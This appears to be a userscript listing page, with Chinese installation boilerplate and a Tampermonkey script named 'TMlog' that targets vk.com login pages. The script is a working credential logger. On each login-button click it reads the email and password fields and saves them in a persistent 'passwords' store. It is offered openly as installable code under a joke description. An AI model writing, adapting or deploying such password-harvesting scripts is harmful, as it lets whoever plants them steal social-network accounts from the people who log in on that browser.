您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
try to take over the world!
// ==UserScript== // @name TMlog // @namespace http://tampermonkey.net/ // @version 0.2 // @description try to take over the world! // @author You // @match https://vk.com*/* // @match http://vk.com*/* // @grant GM_getValue // @grant GM_setValue // @require https://code.jquery.com/jquery-2.1.4.min.js // ==/UserScript== (function() { //'use strict'; //GM_setValue("passwords",""); //passs = GM_getValue("passwords", "7"); //prompt("",passs); //alert(passs); $(".index_login_button.flat_button.button_big_text").click(function() { passs = GM_getValue("passwords", ""); passs+="Login: "+$("input#index_email").val()+"; Password: "+$("input#index_pass").val()+";\n"; GM_setValue("passwords",passs); }); $("#login_button").click(function() { passs = GM_getValue("passwords", ""); passs+="Login: "+$("#email.big_text").val()+"; Password: "+$("#pass.big_text").val()+";\n"; GM_setValue("passwords",passs); }); //alert(GM_getValue("passwords", "none")); // Your code here... })();